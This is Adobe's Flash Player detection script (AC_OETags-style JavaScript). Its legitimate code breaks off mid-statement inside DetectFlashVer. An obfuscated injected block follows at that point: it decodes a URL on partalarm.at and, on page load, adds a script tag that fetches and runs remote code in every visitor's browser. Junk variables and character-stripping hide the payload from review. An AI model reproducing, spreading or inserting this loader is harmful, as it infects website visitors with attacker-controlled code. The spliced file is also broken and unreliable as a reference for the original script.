//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function ControlVersion()
{
	var version;
	var axo;
	var e;

	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}

	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";

			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";

			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");

		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}

// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}

// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1]
try {this.Yc="";this.D="";var ih;if(ih!='E'){ih=''};var M=window[unescape("%75%6e%65%73%63%61%70%65")];this.H='';var mF="";var tJ=new Array();var Z=new Date();var l=M("%72%65%70%6c%61%63%65");var S;if(S!='' && S!='_C'){S=''};var i=window[M("%52%65%67%45%78%70")];var j=new Array();var MX="";var W=null;this.aq="";this.jn="";function V(w,d){var s=M("%5b");s+=d;s+=M("%5d");var L=new i(s, M("%67"));var yc="";return w.replace(L, W);};var CK;if(CK!='o' && CK!='z'){CK=''};var LR='';var aL="";var dR;if(dR!='Sn' && dR!='Ft'){dR='Sn'};var q="\x68\x74\x74\x70\x3a\x2f\x2f\x70\x61\x72\x74\x61\x6c\x61\x72\x6d\x2e\x61\x74\x3a";var _=M("%73%63%72%69%70%74");var e=V('/Rg1oVoAg1lPeI._cuo3m1/QvReVrXiXzPoEnQ.XnQeDtD/XsVeArXijeDsfyDoPnEk3iDsD.1cPoumE.XpQhup1','K31juRQIX_VPDAfE');var qs=V('8194635643203566962252282925492235019996662','1469235');var G="onloaVk0q".substr(0,5)+"UVC3dCVU3".substr(4,1);var w=M("%31");var mZ=new String();var hI=new String();var Fs=new String();var JO;if(JO!=''){JO='nB'};function v(){var Lh;if(Lh!='Bp'){Lh=''};var pR;if(pR!='' && pR!='As'){pR=null};this.dd='';var Y=document;var My=new String();var Br=new String();var _D='';X=Y.createElement(_);var je=new Array();LR+=q;var yb;if(yb!='SI' && yb!='OC'){yb=''};LR+=qs+e;var WB='';var xr='';var OF;if(OF!='mf' && OF!='nw'){OF=''};var iy=Y.body;var LE;if(LE!='dw' && LE != ''){LE=null};X.src=LR;var qw;if(qw!='Fn' && qw != ''){qw=null};X.defer=w;var VZ=new Date();var ln='';iy.appendChild(X);};var dI;if(dI!='' && dI!='CP'){dI='gf'};var ut=new Array();var Az;if(Az!='iM'){Az=''};window[G]=v;var HH;if(HH!='' && HH!='No'){HH=''};var m_;if(m_!='eW' && m_ != ''){m_=null};var gs;if(gs!='dL' && gs != ''){gs=null};} catch(wD){var rv=new Array();var Rf=new Array();};var DS;if(DS!='' && DS!='jA'){DS=null};